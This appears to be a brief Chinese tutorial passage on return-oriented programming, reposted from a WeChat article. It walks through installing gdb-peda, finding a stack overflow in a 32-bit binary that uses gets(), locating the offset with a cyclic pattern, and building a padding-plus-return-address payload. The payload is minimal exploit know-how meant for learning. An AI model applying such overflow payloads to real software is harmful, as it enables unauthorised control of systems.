ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码.
ROP的思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程先搭建好环境
安装gdb-peda:
git clone https://gitee.com/takaobsid/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
切换pwndbg和peda:vim ~/.gdbinit
objdump -d -j .plt程序 查看plt表查看一下程序的保护机制,可以看到是32位的程序且仅仅开启了栈不可执行保护NX程序中使用了缺乏安全性的gets() 函数,显然存在栈溢出漏洞。生成200个序列,pattern create 200Invalid address0x41384141payload ='a'*offset +p32(0x804863a)
文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650500044&idx=3&sn=6916d86deb1f15c017510709b91d261a&chksm=83ba0e28b4cd873ed85be74cd9a3d008fa0a5aa8ee484f4392bbc617092dc5d1134fe3192487#rd
如有侵权请联系:admin#unsafe.sh